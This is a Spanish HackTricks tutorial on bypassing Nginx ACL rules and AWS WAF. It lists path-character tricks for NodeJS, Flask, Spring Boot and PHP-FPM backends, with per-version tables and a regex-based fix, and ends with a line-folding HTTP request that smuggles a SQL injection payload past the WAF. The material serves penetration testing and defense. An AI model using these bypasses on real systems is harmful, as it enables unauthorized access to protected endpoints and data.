6.5 KiB
Proxy / WAF Protections Bypass
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Bypass de Reglas ACL de Nginx
Ejemplo de restricción en Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- Como Nginx incluye el carácter
\xa0
como parte del nombre de ruta, la regla ACL para el URI/admin
no se activará. En consecuencia, Nginx reenviará el mensaje HTTP al backend; - Cuando el servidor Node.js recibe el URI
/admin\x0a
, el carácter\xa0
se eliminará, permitiendo la recuperación exitosa del endpoint/admin
.
Versión de Nginx | Caracteres de Bypass de Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Flask elimina los caracteres \x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
y \x09
del camino de la URL, pero NGINX no.
Versión de Nginx | Caracteres de Bypass de Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
A continuación, encontrarás una demostración de cómo se puede eludir la protección ACL agregando el carácter \x09
o al final del nombre de ruta:
Versión de Nginx | Caracteres de Bypass de Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Consideremos la siguiente configuración de Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Es posible eludirlo accediendo a /admin.php/index.php
:
Cómo prevenir
Para prevenir estos problemas, debes usar la expresión ~
en lugar de la expresión =
en las reglas ACL de Nginx, por ejemplo:
COPYCOPY
location ~* ^/admin {
deny all;
}
Eludir AWS WAF ACL con Line Folding
Es posible eludir la protección de AWS WAF en un encabezado HTTP utilizando la siguiente sintaxis donde AWS WAF no entenderá que el encabezado X-Query contiene una carga útil de inyección SQL mientras que el servidor node detrás sí lo hará:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Referencias
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.